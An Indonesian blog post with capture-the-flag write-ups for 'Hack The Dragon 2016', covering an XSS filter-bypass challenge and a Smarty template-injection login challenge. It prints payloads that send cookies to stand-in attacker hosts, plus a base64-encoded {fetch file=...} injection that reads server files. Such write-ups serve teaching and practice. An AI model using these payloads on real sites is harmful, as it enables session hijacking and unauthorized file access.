Di awal tahun 2016 ini Ethic Ninja bersama Bugbounty turut mensponsori acara kompetisi Capture The Flag – Hack The Dragon 2016 yang diselenggarakan rutin oleh teman-teman Indonesian Backtrack Team.
Sedikit tips untuk para peserta CTF, salah satu hal yang penting dalam CTF adalah Writeups, jadi pastikan membaca dengan baik dan dicoba karena kalian dapat belajar hal baru disini. Note: jika ada peserta yang ingin mengirimkan writeup dengan metode yang berbeda silahkan email ke info@ethic.ninja, akan kita tambahkan di halaman ini beserta credit-nya.
Mission : Web XSS
Soal ini tidak asing hanya saja yang menjadikan soal ini agak susah adalah adanya beberapa rule yang mengharuskan peserta untuk identifikasi terlebih dahulu. Contoh beberapa string yang terfilter adalah :
- script
- src
- onmouseover
- onselect
- dll
Solusinya tidak hanya satu disini peserta hanya perlu sedikit kreatif dan memahami bagaimana XSS itu bekerja untuk mendapatkan cookie admin.
Metode 1 :
Manipulasi string yang difilter, peserta dapat menggunakan trik concatening string dan obfuscate string untuk keluar dari filter-filter tersebut, contoh :
<script> –> <sCrIPT>
src –> ‘sr’+’c’
Metode 2 :
Gunakan tag html yang tidak di filter, seperti body, marquee, dll
Contoh:
<body onpageshow=”document.location=’http://some-evil.dont/like-cookie.php?cookie=’+document.cookie”></body>
<marquee onstart=”document.location=’http://some-evil.do/like-cookie.php?cookie=’+document.cookie”>Nobody cares about marquee now 🙁 </marquee>
Tidak ada yang spesial disini, tetapi kalau peserta teliti untuk cek parameter cookie “track” disitu TIDAK ADA filter, just run inside the <script>!
Mission: Web Login
Soal edisi spesial untuk CTF Hack The Dragon, hanya 1 peserta yang berhasil memecahkan, luar biasa!. Soal ini hanya berupa form login, peserta ditantang untuk mendapatkan password yang notabene adalah flag itu sendiri. Ketika peserta melakukan footprinting akan mendapati beberapa parameter inputan yaitu :
– Username
– Password
– IPtoken
Jika ditelaah lebih lanjut ada perlakuan berbeda pada parameter iptoken.
Tambahan clue pada soal ini adalah Eval is Evil
Dari petunjuk eval maka kita bisa menyimpulkan bahwa remote code execution yang bisa di-explore disini. Teknologi penyerangan yang digunakan pada misi kali ini adalah Server Side Template Attack / Server Side Template Injection, template yang digunakan adalah smarty.
Untuk mengidentifikasi inputan yang vulnerable inputkan : {5*6} jika output adalah 30 berarti ada perlakuan eval disini. Dan jangan lupa untuk encode base64 di inputan ini karena iptoken diproses dari hasil encode base64.
Peserta tinggal menggunakan fungsi read file yang ada pada smarty untuk membaca file index.php
{fetch file=’index.php’}
Solved!